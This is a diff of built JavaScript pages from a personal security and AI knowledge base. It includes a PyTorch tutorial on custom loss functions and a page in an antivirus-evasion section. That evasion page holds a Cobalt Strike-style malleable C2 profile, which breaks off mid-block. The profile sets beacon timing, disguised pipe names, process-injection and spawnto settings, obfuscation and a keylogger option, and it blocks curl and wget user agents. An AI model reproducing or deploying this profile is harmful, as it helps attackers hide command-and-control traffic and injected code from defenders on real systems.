o=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2","title":"google\u67e5\u8be2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/04.google\u67e5\u8be2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/04.google\u67e5\u8be2.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"WHOIS-IP\u53cd\u67e5\u67e5\u8be2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2"},"next":{"title":"SQL\u6ce8\u5165","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/"}}');var s=n(74848),r=n(28453);const l={},i="google\u67e5\u8be2",c={},d=[];function a(e){const t={blockquote:"blockquote",h1:"h1",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"google\u67e5\u8be2",children:"google\u67e5\u8be2"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-11-06 11:10:20"})]})})]}),"\n",(0,s.jsxs)(t.blockquote,{children:["\n",(0,s.jsx)(t.p,{children:"[!TIP]"}),"\n",(0,s.jsx)(t.p,{children:"\u5229\u7528Google\u641c\u7d22\u53ef\u4ee5\u67e5\u8be2\u4e00\u4e9b\u4fe1\u606f"}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,r.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/900ce860.166c6d76.js b/en/assets/js/900ce860.166c6d76.js new file mode 100644 index 0000000..4b6f4aa --- /dev/null +++ b/en/assets/js/900ce860.166c6d76.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[890],{28453:(s,e,n)=>{n.d(e,{R:()=>o,x:()=>l});var t=n(96540);const i={},r=t.createContext(i);function o(s){const e=t.useContext(r);return t.useMemo(function(){return"function"==typeof s?s(e):{...e,...s}},[e,s])}function l(s){let e;return e=s.disableParentContext?"function"==typeof s.components?s.components(i):s.components||i:o(s.components),t.createElement(r.Provider,{value:e},s.children)}},63281:(s,e,n)=>{n.r(e),n.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>o,metadata:()=>t,toc:()=>d});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570","title":"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u516d\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/"},"next":{"title":"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387"}}');var i=n(74848),r=n(28453);const o={},l="6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md",c={},d=[{value:"6.1.1 \u4ee5\u51fd\u6570\u65b9\u5f0f\u5b9a\u4e49",id:"611-\u4ee5\u51fd\u6570\u65b9\u5f0f\u5b9a\u4e49",level:2},{value:"6.1.2 \u4ee5\u7c7b\u65b9\u5f0f\u5b9a\u4e49",id:"612-\u4ee5\u7c7b\u65b9\u5f0f\u5b9a\u4e49",level:2},{value:"\u672c\u8282\u53c2\u8003",id:"\u672c\u8282\u53c2\u8003",level:2}];function a(s){const e={a:"a",br:"br",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...s.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"61-\u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570md",children:"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(e.h1,{id:"61-\u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570",children:"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570"}),"\n",(0,i.jsx)(e.p,{children:"PyTorch\u5728torch.nn\u6a21\u5757\u4e3a\u6211\u4eec\u63d0\u4f9b\u4e86\u8bb8\u591a\u5e38\u7528\u7684\u635f\u5931\u51fd\u6570\uff0c\u6bd4\u5982\uff1aMSELoss\uff0cL1Loss\uff0cBCELoss...... \u4f46\u662f\u968f\u7740\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\uff0c\u51fa\u73b0\u4e86\u8d8a\u6765\u8d8a\u591a\u7684\u975e\u5b98\u65b9\u63d0\u4f9b\u7684Loss\uff0c\u6bd4\u5982DiceLoss\uff0cHuberLoss\uff0cSobolevLoss...... \u8fd9\u4e9bLoss Function\u4e13\u95e8\u9488\u5bf9\u4e00\u4e9b\u975e\u901a\u7528\u7684\u6a21\u578b\uff0cPyTorch\u4e0d\u80fd\u5c06\u4ed6\u4eec\u5168\u90e8\u6dfb\u52a0\u5230\u5e93\u4e2d\u53bb\uff0c\u56e0\u6b64\u8fd9\u4e9b\u635f\u5931\u51fd\u6570\u7684\u5b9e\u73b0\u5219\u9700\u8981\u6211\u4eec\u901a\u8fc7\u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570\u6765\u5b9e\u73b0\u3002\u53e6\u5916\uff0c\u5728\u4e00\u4e9b\u7b97\u6cd5\u5b9e\u73b0\u4e2d\uff0c\u7814\u7a76\u8005\u5f80\u5f80\u4f1a\u63d0\u51fa\u5168\u65b0\u7684\u635f\u5931\u51fd\u6570\u6765\u63d0\u5347\u6a21\u578b\u7684\u8868\u73b0\uff0c\u8fd9\u65f6\u6211\u4eec\u65e2\u65e0\u6cd5\u4f7f\u7528PyTorch\u81ea\u5e26\u7684\u635f\u5931\u51fd\u6570\uff0c\u4e5f\u6ca1\u6709\u76f8\u5173\u7684\u535a\u5ba2\u4f9b\u53c2\u8003\uff0c\u6b64\u65f6\u81ea\u5df1\u5b9e\u73b0\u635f\u5931\u51fd\u6570\u5c31\u663e\u5f97\u66f4\u4e3a\u91cd\u8981\u4e86\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u638c\u63e1\u5982\u4f55\u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570"}),"\n"]}),"\n",(0,i.jsx)(e.h2,{id:"611-\u4ee5\u51fd\u6570\u65b9\u5f0f\u5b9a\u4e49",children:"6.1.1 \u4ee5\u51fd\u6570\u65b9\u5f0f\u5b9a\u4e49"}),"\n",(0,i.jsx)(e.p,{children:"\u4e8b\u5b9e\u4e0a\uff0c\u635f\u5931\u51fd\u6570\u4ec5\u4ec5\u662f\u4e00\u4e2a\u51fd\u6570\u800c\u5df2\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u76f4\u63a5\u4ee5\u51fd\u6570\u5b9a\u4e49\u7684\u65b9\u5f0f\u5b9a\u4e49\u4e00\u4e2a\u81ea\u5df1\u7684\u51fd\u6570\uff0c\u5982\u4e0b\u6240\u793a\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"def my_loss(output, target):\n loss = torch.mean((output - target)**2)\n return loss\n"})}),"\n",(0,i.jsx)(e.h2,{id:"612-\u4ee5\u7c7b\u65b9\u5f0f\u5b9a\u4e49",children:"6.1.2 \u4ee5\u7c7b\u65b9\u5f0f\u5b9a\u4e49"}),"\n",(0,i.jsxs)(e.p,{children:["\u867d\u7136\u4ee5\u51fd\u6570\u5b9a\u4e49\u7684\u65b9\u5f0f\u5f88\u7b80\u5355\uff0c\u4f46\u662f\u4ee5\u7c7b\u65b9\u5f0f\u5b9a\u4e49\u66f4\u52a0\u5e38\u7528\uff0c\u5728\u4ee5\u7c7b\u65b9\u5f0f\u5b9a\u4e49\u635f\u5931\u51fd\u6570\u65f6\uff0c\u6211\u4eec\u5982\u679c\u770b\u6bcf\u4e00\u4e2a\u635f\u5931\u51fd\u6570\u7684\u7ee7\u627f\u5173\u7cfb\u6211\u4eec\u5c31\u53ef\u4ee5\u53d1\u73b0",(0,i.jsx)(e.code,{children:"Loss"}),"\u51fd\u6570\u90e8\u5206\u7ee7\u627f\u81ea",(0,i.jsx)(e.code,{children:"_loss"}),", \u90e8\u5206\u7ee7\u627f\u81ea",(0,i.jsx)(e.code,{children:"_WeightedLoss"}),", \u800c",(0,i.jsx)(e.code,{children:"_WeightedLoss"}),"\u7ee7\u627f\u81ea",(0,i.jsx)(e.code,{children:"_loss"}),"\uff0c",(0,i.jsx)(e.code,{children:" _loss"}),"\u7ee7\u627f\u81ea ",(0,i.jsx)(e.strong,{children:"nn.Module"}),"\u3002\u6211\u4eec\u53ef\u4ee5\u5c06\u5176\u5f53\u4f5c\u795e\u7ecf\u7f51\u7edc\u7684\u4e00\u5c42\u6765\u5bf9\u5f85\uff0c\u540c\u6837\u5730\uff0c\u6211\u4eec\u7684\u635f\u5931\u51fd\u6570\u7c7b\u5c31\u9700\u8981\u7ee7\u627f\u81ea",(0,i.jsx)(e.strong,{children:"nn.Module"}),"\u7c7b\uff0c\u5728\u4e0b\u9762\u7684\u4f8b\u5b50\u4e2d\u6211\u4eec\u4ee5DiceLoss\u4e3a\u4f8b\u5411\u5927\u5bb6\u8bb2\u8ff0\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"Dice Loss\u662f\u4e00\u79cd\u5728\u5206\u5272\u9886\u57df\u5e38\u89c1\u7684\u635f\u5931\u51fd\u6570\uff0c\u5b9a\u4e49\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.p,{children:"$$\nDSC = \\frac{2|X\u2229Y|}{|X|+|Y|}\n$$\n\u5b9e\u73b0\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"class DiceLoss(nn.Module):\n def __init__(self,weight=None,size_average=True):\n super(DiceLoss,self).__init__()\n \n def forward(self,inputs,targets,smooth=1):\n inputs = F.sigmoid(inputs) \n inputs = inputs.view(-1)\n targets = targets.view(-1)\n intersection = (inputs * targets).sum() \n dice = (2.*intersection + smooth)/(inputs.sum() + targets.sum() + smooth) \n return 1 - dice\n\n# \u4f7f\u7528\u65b9\u6cd5 \ncriterion = DiceLoss()\nloss = criterion(input,targets)\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0c\u5e38\u89c1\u7684\u635f\u5931\u51fd\u6570\u8fd8\u6709BCE-Dice Loss\uff0cJaccard/Intersection over Union (IoU) Loss\uff0cFocal Loss......"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"class DiceBCELoss(nn.Module):\n def __init__(self, weight=None, size_average=True):\n super(DiceBCELoss, self).__init__()\n\n def forward(self, inputs, targets, smooth=1):\n inputs = F.sigmoid(inputs) \n inputs = inputs.view(-1)\n targets = targets.view(-1)\n intersection = (inputs * targets).sum() \n dice_loss = 1 - (2.*intersection + smooth)/(inputs.sum() + targets.sum() + smooth) \n BCE = F.binary_cross_entropy(inputs, targets, reduction='mean')\n Dice_BCE = BCE + dice_loss\n \n return Dice_BCE\n"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"class IoULoss(nn.Module):\n def __init__(self, weight=None, size_average=True):\n super(IoULoss, self).__init__()\n\n def forward(self, inputs, targets, smooth=1):\n inputs = F.sigmoid(inputs) \n inputs = inputs.view(-1)\n targets = targets.view(-1)\n intersection = (inputs * targets).sum()\n total = (inputs + targets).sum()\n union = total - intersection \n \n IoU = (intersection + smooth)/(union + smooth)\n \n return 1 - IoU\n"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"ALPHA = 0.8\nGAMMA = 2\n\nclass FocalLoss(nn.Module):\n def __init__(self, weight=None, size_average=True):\n super(FocalLoss, self).__init__()\n\n def forward(self, inputs, targets, alpha=ALPHA, gamma=GAMMA, smooth=1):\n inputs = F.sigmoid(inputs) \n inputs = inputs.view(-1)\n targets = targets.view(-1)\n BCE = F.binary_cross_entropy(inputs, targets, reduction='mean')\n BCE_EXP = torch.exp(-BCE)\n focal_loss = alpha * (1-BCE_EXP)**gamma * BCE\n \n return focal_loss\n# \u66f4\u591a\u7684\u53ef\u4ee5\u53c2\u8003\u94fe\u63a51\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u6ce8\uff1a"})}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570\u65f6\uff0c\u6d89\u53ca\u5230\u6570\u5b66\u8fd0\u7b97\u65f6\uff0c\u6211\u4eec\u6700\u597d\u5168\u7a0b\u4f7f\u7528PyTorch\u63d0\u4f9b\u7684\u5f20\u91cf\u8ba1\u7b97\u63a5\u53e3\uff0c\u8fd9\u6837\u5c31\u4e0d\u9700\u8981\u6211\u4eec\u5b9e\u73b0\u81ea\u52a8\u6c42\u5bfc\u529f\u80fd\u5e76\u4e14\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u8c03\u7528cuda\uff0c\u4f7f\u7528numpy\u6216\u8005scipy\u7684\u6570\u5b66\u8fd0\u7b97\u65f6\uff0c\u64cd\u4f5c\u4f1a\u6709\u4e9b\u9ebb\u70e6\uff0c\u5927\u5bb6\u53ef\u4ee5\u81ea\u5df1\u4e0b\u53bb\u8fdb\u884c\u63a2\u7d22\u3002\u5173\u4e8ePyTorch\u4f7f\u7528Class\u5b9a\u4e49\u635f\u5931\u51fd\u6570\u7684\u539f\u56e0\uff0c\u53ef\u4ee5\u53c2\u8003PyTorch\u7684\u8ba8\u8bba\u533a\uff08\u94fe\u63a56\uff09"}),"\n",(0,i.jsx)(e.h2,{id:"\u672c\u8282\u53c2\u8003",children:"\u672c\u8282\u53c2\u8003"}),"\n",(0,i.jsxs)(e.p,{children:["\u30101\u3011",(0,i.jsx)(e.a,{href:"https://www.kaggle.com/bigironsphere/loss-function-library-keras-pytorch/notebook",children:"https://www.kaggle.com/bigironsphere/loss-function-library-keras-pytorch/notebook"}),(0,i.jsx)(e.br,{}),"\n\u30102\u3011",(0,i.jsx)(e.a,{href:"https://www.zhihu.com/question/66988664/answer/247952270",children:"https://www.zhihu.com/question/66988664/answer/247952270"}),(0,i.jsx)(e.br,{}),"\n\u30103\u3011",(0,i.jsx)(e.a,{href:"https://blog.csdn.net/dss_dssssd/article/details/84103834",children:"https://blog.csdn.net/dss_dssssd/article/details/84103834"}),(0,i.jsx)(e.br,{}),"\n\u30104\u3011",(0,i.jsx)(e.a,{href:"https://zj-image-processing.readthedocs.io/zh_CN/latest/pytorch/%E8%87%AA%E5%AE%9A%E4%B9%89%E6%8D%9F%E5%A4%B1%E5%87%BD%E6%95%B0/",children:"https://zj-image-processing.readthedocs.io/zh_CN/latest/pytorch/%E8%87%AA%E5%AE%9A%E4%B9%89%E6%8D%9F%E5%A4%B1%E5%87%BD%E6%95%B0/"}),(0,i.jsx)(e.br,{}),"\n\u30105\u3011",(0,i.jsx)(e.a,{href:"https://blog.csdn.net/qq_27825451/article/details/95165265",children:"https://blog.csdn.net/qq_27825451/article/details/95165265"}),(0,i.jsx)(e.br,{}),"\n\u30106\u3011",(0,i.jsx)(e.a,{href:"https://discuss.pytorch.org/t/should-i-define-my-custom-loss-function-as-a-class/89468",children:"https://discuss.pytorch.org/t/should-i-define-my-custom-loss-function-as-a-class/89468"})]})]})}function h(s={}){const{wrapper:e}={...(0,r.R)(),...s.components};return e?(0,i.jsx)(e,{...s,children:(0,i.jsx)(a,{...s})}):a(s)}}}]); \ No newline at end of file diff --git a/en/assets/js/932c3674.bf4c9b8c.js b/en/assets/js/932c3674.bf4c9b8c.js new file mode 100644 index 0000000..156610d --- /dev/null +++ b/en/assets/js/932c3674.bf4c9b8c.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8876],{8352:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>p,frontMatter:()=>o,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/README","title":"\u53bb\u7279\u5f81","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/02.\u53bb\u7279\u5f81/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/02.\u53bb\u7279\u5f81","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/06.\u514d\u6740/02.\u53bb\u7279\u5f81/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"fscan\u514d\u6740","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/"},"next":{"title":"\u57fa\u7ebf\u68c0\u67e5","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/"}}');var r=n(74848),a=n(28453);const o={},i="\u53bb\u7279\u5f81",c={},d=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u8fc7\u7a0b",id:"\u8fc7\u7a0b",level:2}];function l(e){const t={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,a.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"\u53bb\u7279\u5f81",children:"\u53bb\u7279\u5f81"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-15 00:35:51"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"hook",children:"Hook"}),"\n",(0,r.jsx)(t.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,r.jsx)(t.h2,{id:"\u8fc7\u7a0b",children:"\u8fc7\u7a0b"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-profile",children:'# Author: Kleiton Kurti (@kleiton0x7e) & John Stigerwalt (@jstigerwalt1)\n### Auxiliary Settings ###\nset sample_name "Stigs Random C2 Profile";\nset host_stage "false"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.\nset useragent ""; # "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"; Use random Internet Explorer UA by default\nset create_remote_thread "true"; # Allow beacon to create threads in other processes\nset hijack_remote_thread "true"; # Allow beacon to run jobs by hijacking the primary thread of a suspeneded process\n### Beacon Sleep Settings ###\nset sleeptime "3000";\nset jitter "33"; # Default jitter factor (0-99%)\n### SMB Options ###\nset pipename "Winsock2\\\\CatalogChangeListener-###-0";\nset pipename_stager "TSVCPIPE-########-####-4###-####-############";\n### SSH BANNER ##\n\nset ssh_banner "Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1065-aws x86_64)";\nset ssh_pipename "SearchTextHarvester##";\n\n ### Steal Token ###\nset steal_token_access_mask "11";\n ### Proxy Options ###\nset tasks_max_size "1604500";\n #set tasks_proxy_max_size "921600";\n #set tasks_dns_proxy_max_size "71680";\n ### Main HTTP Config Settings ###\nhttp-config {\n set headers "Date, Server, Content-Length, Keep-Alive, Contentnection, Content\x02Type";\n header "Server" "Apache";\n header "Keep-Alive" "timeout=10, max=100";\n header "Connection" "Keep-Alive";\n set trust_x_forwarded_for "true";\n set block_useragents "curl*,lynx*,wget*";\n}\n### HTTPS Cert Settings ###\nhttps-certificate {\n# Self Signed Certificate Options\n# set CN "*.azureedge.net";\n# set O "Microsoft Corporation";\n# set C "US";\n# set L "Redmond";\n# set ST "WA";\n# set OU "Organizational Unit";\n# set validity "365";\n# Imported Certificate Options\n# set keystore "domain.store";\n# set password "password";\n}\n# code-signer {\n# set keystore "keystore.jks";\n# set password "password";\n# set alias "server";\n# set digest_algorithm "SHA256";\n# set timestamp "false";\n# set timestamp_url "http://timestamp.digicert.com";\n#}\n### Post Exploitation Settings ###\npost-ex {\n set spawnto_x86 "%windir%\\\\syswow64\\\\wbem\\\\wmiprvse.exe -Embedding";\n set spawnto_x64 "%windir%\\\\sysnative\\\\wbem\\\\wmiprvse.exe -Embedding";\n set obfuscate "true";\n set smartinject "true";\n set amsi_disable "false";\n set keylogger "GetAsyncKeyState";\n set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000";\n}\n### Process Injection ###\nprocess-inject {\n set allocator "NtMapViewOfSection"; # or VirtualAllocEx\n set bof_allocator "VirtualAlloc";\n set bof_reuse_memory "true";\n set min_alloc "24576";\n set startrwx "false";\n set userwx "false";\n transform-x86 {\n prepend\n "\\x44\\x40\\x4B\\x43\\x4C\\x48\\x90\\x66\\x90\\x0F\\x1F\\x00\\x66\\x0F\\x1F\\x04\\x00\\x0F\\x1F\\x04\\x00\\x0F\\x1F\\x00\\x0F\\x1F\\x00";\n }\n transform-x64 {\n prepend\n "\\x44\\x40\\x4B\\x43\\x4C\\x48\\x90\\x66\\x90\\x0F\\x1F\\x00\\x66\\x0F\\x1F\\x04\\x00\\x0F\\x1F\\x04\\x00\\x0F\\x1F\\x00\\x0F\\x1F\\x00";\n }\n execute {\n CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";\n NtQueueApcThread-s;\n CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";\n CreateRemoteThread;\n RtlCreateUserThread;\n SetThreadContext;\n }\n}\nhttp-get {\n set verb "GET"; # GET / POST\n set uri "/css3/index2.shtml"; # Can be space separated string. Each beacon will be assigned one of these when the stage is built\n client {\n header "Accept" "text/html, application/xhtml+xml, image/jxr, */*";\n header "Accept-Encoding" "gzip, deflate";\n header "Accept-Language" "en-US; q=0.7, en; q=0.3";\n header "Connection" "keep-alive";\n header 